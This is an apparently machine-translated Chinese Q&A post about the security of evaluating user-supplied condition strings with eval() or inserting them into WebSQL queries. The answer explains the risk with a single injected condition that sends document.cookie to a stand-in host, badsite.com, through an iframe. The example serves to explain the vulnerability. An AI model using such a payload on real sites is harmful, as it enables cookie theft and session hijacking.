我差不多完成了一个开发一个API的脚本，该脚本可以用来统一执行任何Web浏览器存储技术的存储操作。
我正在处理的最后一些功能是条件检索和删除操作，它们（当然）需要提供一个将被评估的条件表达式（使用eval（）或者在webSQL的情况下，在WHERE之后直接插入。
我需要至少两个完整的解析器（一个用于webSQL，一个用于indexedDB）来验证输入是否有效，但在进行安全性评估后，似乎解析输入，甚至消毒它是不必要的
我对评估原始字符串的安全性有点不确定，所以我很感激我对安全评估的一些意见：
用户：
评估用户直接或间接提供的输入 由于存储的沙盒性质，应该不是问题 技术（他/她将操纵只有他/她才能访问的数据 对于一个给定的来源），以及没有任何事情可以做到的事实 用户无法直接在浏览器中完成的API。
第三方
存储技术遵循同源策略，因此不能 访问属于其他来源的沙盒存储区域
我觉得我在评估中忽略了一个或多个可能的安全问题;是这样的吗？或者评估（大部分）是否正确？
答案 0 :(得分：1)
真正的重要安全问题是条件字符串来自。只要字符串总是来自用户，就没有风险 - 用户无论如何都可以直接从JS控制台eval进行任何操作。一旦你允许字符串来自除了直接用户输入之外的某个地方，你就会陷入风险区域。
假设某个网站在其代码中使用了您的API脚本。假设他们也让你保存你最喜欢的搜索条件。进一步假设他们允许您与其他用户共享您喜欢的搜索列表。当您查看共享条件时，您正在加载由另一个用户提供的字符串。
假设你的一个人发送了一个链接来查看他保存的条件：
foo==5; e=document.createElement(iframe); e.src='http://badsite.com/stealcookies?'+document.cookie;document.body.appendChild(e);
当您将条件数据加载到数据查看器中时，您刚刚将您的cookie数据公开到另一个网站。
对于WebSQL注入（与eval相反），可能会造成相同类型的损坏，但仅限于您的数据存储，而不是整个JavaScript执行环境。